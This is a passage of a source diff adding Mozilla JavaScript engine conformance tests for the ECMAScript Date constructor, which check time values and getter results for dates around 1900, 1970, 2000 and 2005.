+ 8. If Result(1)is NaN and 0 <= ToInteger(Result(1)) <=
+ 99, Result(8) is 1900+ToInteger(Result(1)); otherwise,
+ Result(8) is Result(1)
+ 9. Compute MakeDay(Result(8), Result(2), Result(3)
+ 10. Compute MakeTime(Result(4), Result(5), Result(6),
+ Result(7)
+ 11. Compute MakeDate(Result(9), Result(10))
+ 12. Set the [[Value]] property of the newly constructed
+ object to TimeClip(UTC(Result(11))).
+
+
+ This tests the returned value of a newly constructed
+ Date object.
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+// for TCMS, the gTestcases array must be global.
+var SECTION = "15.9.3.1";
+var TITLE = "Date( year, month, date, hours, minutes, seconds )";
+
+writeHeaderToLog( SECTION+" " +TITLE );
+
+// Dates around 1970
+
+addNewTestCase( new Date( 1969,11,31,15,59,59),
+ "new Date( 1969,11,31,15,59,59)",
+ [-1000,1969,11,31,3,23,59,59,0,1969,11,31,3,15,59,59,0] );
+
+addNewTestCase( new Date( 1969,11,31,16,0,0),
+ "new Date( 1969,11,31,16,0,0)",
+ [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] );
+
+addNewTestCase( new Date( 1969,11,31,23,59,59),
+ "new Date( 1969,11,31,23,59,59)",
+ [28799000,1970,0,1,4,7,59,59,0,1969,11,31,3,23,59,59,0] );
+
+addNewTestCase( new Date( 1970, 0, 1, 0, 0, 0),
+ "new Date( 1970, 0, 1, 0, 0, 0)",
+ [28800000,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+addNewTestCase( new Date( 1969,11,31,16,0,0),
+ "new Date( 1969,11,31,16,0,0)",
+ [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray);
+
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.2-2.js b/js/src/tests/ecma/Date/15.9.3.2-2.js
new file mode 100644
index 000000000..ff2ea9872
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.2-2.js
@@ -0,0 +1,107 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.1.js
+ ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms)
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial value of Date.prototype.
+
+ The [[Class]] property of the newly constructed object
+ is set as follows:
+ 1. Call ToNumber(year)
+ 2. Call ToNumber(month)
+ 3. Call ToNumber(date)
+ 4. Call ToNumber(hours)
+ 5. Call ToNumber(minutes)
+ 6. Call ToNumber(seconds)
+ 7. Call ToNumber(ms)
+ 8. If Result(1)is NaN and 0 <= ToInteger(Result(1)) <=
+ 99, Result(8) is 1900+ToInteger(Result(1)); otherwise,
+ Result(8) is Result(1)
+ 9. Compute MakeDay(Result(8), Result(2), Result(3)
+ 10. Compute MakeTime(Result(4), Result(5), Result(6),
+ Result(7)
+ 11. Compute MakeDate(Result(9), Result(10))
+ 12. Set the [[Value]] property of the newly constructed
+ object to TimeClip(UTC(Result(11))).
+
+
+ This tests the returned value of a newly constructed
+ Date object.
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+// for TCMS, the gTestcases array must be global.
+var SECTION = "15.9.3.1";
+var TITLE = "Date( year, month, date, hours, minutes, seconds )";
+
+writeHeaderToLog( SECTION+" " +TITLE );
+
+// Dates around 2000
+
+addNewTestCase( new Date( 1999,11,31,15,59,59),
+ "new Date( 1999,11,31,15,59,59)",
+ [946684799000,1999,11,31,5,23,59,59,0,1999,11,31,5,15,59,59,0] );
+
+addNewTestCase( new Date( 1999,11,31,16,0,0),
+ "new Date( 1999,11,31,16,0,0)",
+ [946684800000,2000,0,1,6,0,0,0,0,1999,11,31,5, 16,0,0,0] );
+
+addNewTestCase( new Date( 2000,0,1,0,0,0),
+ "new Date( 2000,0,1,0,0,0)",
+ [946713600000,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray);
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.2-3.js b/js/src/tests/ecma/Date/15.9.3.2-3.js
new file mode 100644
index 000000000..dee9cba13
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.2-3.js
@@ -0,0 +1,111 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.1.js
+ ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms)
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial value of Date.prototype.
+
+ The [[Class]] property of the newly constructed object
+ is set as follows:
+ 1. Call ToNumber(year)
+ 2. Call ToNumber(month)
+ 3. Call ToNumber(date)
+ 4. Call ToNumber(hours)
+ 5. Call ToNumber(minutes)
+ 6. Call ToNumber(seconds)
+ 7. Call ToNumber(ms)
+ 8. If Result(1)is NaN and 0 <= ToInteger(Result(1)) <=
+ 99, Result(8) is 1900+ToInteger(Result(1)); otherwise,
+ Result(8) is Result(1)
+ 9. Compute MakeDay(Result(8), Result(2), Result(3)
+ 10. Compute MakeTime(Result(4), Result(5), Result(6),
+ Result(7)
+ 11. Compute MakeDate(Result(9), Result(10))
+ 12. Set the [[Value]] property of the newly constructed
+ object to TimeClip(UTC(Result(11))).
+
+
+ This tests the returned value of a newly constructed
+ Date object.
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+// for TCMS, the gTestcases array must be global.
+var SECTION = "15.9.3.1";
+var TITLE = "Date( year, month, date, hours, minutes, seconds )";
+
+writeHeaderToLog( SECTION+" " +TITLE );
+
+// Dates around 1900
+
+addNewTestCase( new Date(1899,11,31,16,0,0),
+ "new Date(1899,11,31,16,0,0)",
+ [-2208988800000,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] );
+
+addNewTestCase( new Date(1899,11,31,15,59,59),
+ "new Date(1899,11,31,15,59,59)",
+ [-2208988801000,1899,11,31,0,23,59,59,0,1899,11,31,0,15,59,59,0] );
+
+addNewTestCase( new Date(1900,0,1,0,0,0),
+ "new Date(1900,0,1,0,0,0)",
+ [-2208960000000,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] );
+
+addNewTestCase( new Date(1900,0,1,0,0,1),
+ "new Date(1900,0,1,0,0,1)",
+ [-2208959999000,1900,0,1,1,8,0,1,0,1900,0,1,1,0,0,1,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray);
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.2-4.js b/js/src/tests/ecma/Date/15.9.3.2-4.js
new file mode 100644
index 000000000..33c1d0c63
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.2-4.js
@@ -0,0 +1,108 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.1.js
+ ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms)
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial value of Date.prototype.
+
+ The [[Class]] property of the newly constructed object
+ is set as follows:
+ 1. Call ToNumber(year)
+ 2. Call ToNumber(month)
+ 3. Call ToNumber(date)
+ 4. Call ToNumber(hours)
+ 5. Call ToNumber(minutes)
+ 6. Call ToNumber(seconds)
+ 7. Call ToNumber(ms)
+ 8. If Result(1)is NaN and 0 <= ToInteger(Result(1)) <=
+ 99, Result(8) is 1900+ToInteger(Result(1)); otherwise,
+ Result(8) is Result(1)
+ 9. Compute MakeDay(Result(8), Result(2), Result(3)
+ 10. Compute MakeTime(Result(4), Result(5), Result(6),
+ Result(7)
+ 11. Compute MakeDate(Result(9), Result(10))
+ 12. Set the [[Value]] property of the newly constructed
+ object to TimeClip(UTC(Result(11))).
+
+
+ This tests the returned value of a newly constructed
+ Date object.
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+// for TCMS, the gTestcases array must be global.
+var SECTION = "15.9.3.1";
+var TITLE = "Date( year, month, date, hours, minutes, seconds )";
+
+writeHeaderToLog( SECTION+" " +TITLE );
+
+var PST_FEB_29_2000 = UTC_FEB_29_2000 + 8*msPerHour;
+
+// Dates around Feb 29, 2000
+addNewTestCase( new Date(2000,1,28,16,0,0,0),
+ "new Date(2000,1,28,16,0,0,0)",
+ [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0,0] );
+
+addNewTestCase( new Date(2000,1,29,0,0,0,0),
+ "new Date(2000,1,29,0,0,0,0)",
+ [PST_FEB_29_2000,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] );
+
+addNewTestCase( new Date(2000,1,29,24,0,0,0),
+ "new Date(2000,1,29,24,0,0,0)",
+ [PST_FEB_29_2000+msPerDay,2000,2,1,3,8,0,0,0,2000,2,1,3,0,0,0,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray);
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.2-5.js b/js/src/tests/ecma/Date/15.9.3.2-5.js
new file mode 100644
index 000000000..17990faff
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.2-5.js
@@ -0,0 +1,105 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.1.js
+ ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms)
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial value of Date.prototype.
+
+ The [[Class]] property of the newly constructed object
+ is set as follows:
+ 1. Call ToNumber(year)
+ 2. Call ToNumber(month)
+ 3. Call ToNumber(date)
+ 4. Call ToNumber(hours)
+ 5. Call ToNumber(minutes)
+ 6. Call ToNumber(seconds)
+ 7. Call ToNumber(ms)
+ 8. If Result(1)is NaN and 0 <= ToInteger(Result(1)) <=
+ 99, Result(8) is 1900+ToInteger(Result(1)); otherwise,
+ Result(8) is Result(1)
+ 9. Compute MakeDay(Result(8), Result(2), Result(3)
+ 10. Compute MakeTime(Result(4), Result(5), Result(6),
+ Result(7)
+ 11. Compute MakeDate(Result(9), Result(10))
+ 12. Set the [[Value]] property of the newly constructed
+ object to TimeClip(UTC(Result(11))).
+
+
+ This tests the returned value of a newly constructed
+ Date object.
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+// for TCMS, the gTestcases array must be global.
+var SECTION = "15.9.3.1";
+var TITLE = "Date( year, month, date, hours, minutes, seconds )";
+
+writeHeaderToLog( SECTION+" " +TITLE );
+
+// Dates around Jan 1, 2005
+
+var PST_JAN_1_2005 = UTC_JAN_1_2005 + 8*msPerHour;
+
+addNewTestCase( new Date(2005,0,1,0,0,0,0),
+ "new Date(2005,0,1,0,0,0,0)",
+ [PST_JAN_1_2005,2005,0,1,6,8,0,0,0,2005,0,1,6,0,0,0,0] );
+
+addNewTestCase( new Date(2004,11,31,16,0,0,0),
+ "new Date(2004,11,31,16,0,0,0)",
+ [UTC_JAN_1_2005,2005,0,1,6,0,0,0,0,2004,11,31,5,16,0,0,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+//adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray);
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.8-1.js b/js/src/tests/ecma/Date/15.9.3.8-1.js
new file mode 100644
index 000000000..beda72d41
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.8-1.js
@@ -0,0 +1,121 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.8.js
+ ECMA Section: 15.9.3.8 The Date Constructor
+ new Date( value )
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial valiue of Date.prototype.
+
+ The [[Class]] property of the newly constructed object is
+ set to "Date".
+
+ The [[Value]] property of the newly constructed object is
+ set as follows:
+
+ 1. Call ToPrimitive(value)
+ 2. If Type( Result(1) ) is String, then go to step 5.
+ 3. Let V be ToNumber( Result(1) ).
+ 4. Set the [[Value]] property of the newly constructed
+ object to TimeClip(V) and return.
+ 5. Parse Result(1) as a date, in exactly the same manner
+ as for the parse method. Let V be the time value for
+ this date.
+ 6. Go to step 4.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+ Version: 9706
+
+*/
+
+var VERSION = "ECMA_1";
+startTest();
+var SECTION = "15.9.3.8";
+var TYPEOF = "object";
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+
+// for TCMS, the gTestcases array must be global.
+var gTc= 0;
+var TITLE = "Date constructor: new Date( value )";
+var SECTION = "15.9.3.8";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION +" " + TITLE );
+
+// all the "ResultArrays" below are hard-coded to Pacific Standard Time values -
+var TZ_ADJUST = -TZ_PST * msPerHour;
+
+
+// Dates around 1970
+addNewTestCase( new Date(0),
+ "new Date(0)",
+ [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] );
+
+addNewTestCase( new Date(1),
+ "new Date(1)",
+ [1,1970,0,1,4,0,0,0,1,1969,11,31,3,16,0,0,1] );
+
+addNewTestCase( new Date(true),
+ "new Date(true)",
+ [1,1970,0,1,4,0,0,0,1,1969,11,31,3,16,0,0,1] );
+
+addNewTestCase( new Date(false),
+ "new Date(false)",
+ [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] );
+
+addNewTestCase( new Date( (new Date(0)).toString() ),
+ "new Date(\""+ (new Date(0)).toString()+"\" )",
+ [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray, 'msMode');
+
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.8-2.js b/js/src/tests/ecma/Date/15.9.3.8-2.js
new file mode 100644
index 000000000..a53f5ce13
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.8-2.js
@@ -0,0 +1,119 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.8.js
+ ECMA Section: 15.9.3.8 The Date Constructor
+ new Date( value )
+ Description: The [[Prototype]] property of the newly constructed
